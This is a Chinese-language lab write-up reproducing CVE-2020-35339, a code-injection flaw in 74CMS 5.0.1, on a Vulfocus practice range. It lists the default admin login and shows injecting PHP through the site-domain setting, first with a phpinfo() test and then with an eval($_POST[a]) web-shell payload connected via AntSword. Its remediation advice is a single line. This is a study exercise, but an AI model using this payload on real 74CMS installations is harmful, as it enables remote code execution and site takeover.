骑士cms任意代码执行（CVE-2020-35339）

本文章仅供学习使用，如用作非法用途，概不负责

0x01 漏洞介绍

骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。为个人求职和企业招聘提供信息化解决方案, 骑士人才系统具备执行效率高、模板切换自由、后台管理功能灵活、模块功能强大等特点，自上线以来一直是职场人士、企业HR青睐的求职招聘平台。经过7年的发展，骑士人才系统已成国内人才系统行业的排头兵。系统应用涉及政府、企业、科研教育和媒体等行业领域，用户已覆盖国内所有省份和地区。 2016年全新推出骑士人才系统基础版，全新的“平台+插件”体系，打造用户“DIY”个性化功能定制，为众多地方门户、行业人才提供一个专业、稳定、方便的网络招聘管理平台，致力发展成为引领市场风向的优质高效的招聘软件。

影响版本：74CMS 5.0.1

0x02 靶场地址

http://vulfocus.io/#/dashboard?image_id=cd8de842-58fc-4d89-9764-edf9f8e0eb81
名称：vulfocus/74cms_cve_2020_35339:latest
在这里插入图片描述

0x03 复现

1. 启动并访问给出的靶场地址
   
   在url后面加上：/index.php?m=Admin 访问后台，账号密码均为：adminadmin
   
2. 进入后台后，点击：系统——网站配置——在网站域名中填写下面数据使页面返回phpinfo

http://127.0.0.1/.',phpinfo(),'/.com

然后保存，保存后刷新当前页面，phpinfo页面便映入眼帘。

此时再进行登录，登录成功后，只会显示更详细的phpinfo界面，没有其他内容，建议不要随便使用。
然后修改一下代码，便可以直接getshell

getshell

原环境不能正常使用，只能重启环境继续下面的操作。
依旧是上面的步骤，不过代码换成：

http://127.0.0.1/.',eval($_POST[a]),'/.com

然后保存，刷新当前页面

然后直接上蚁剑连接

获得flag

0x04 修复建议

哎，升级版本吧

参考(实现原理)：https://blog.csdn.net/qq_41252520/article/details/113850389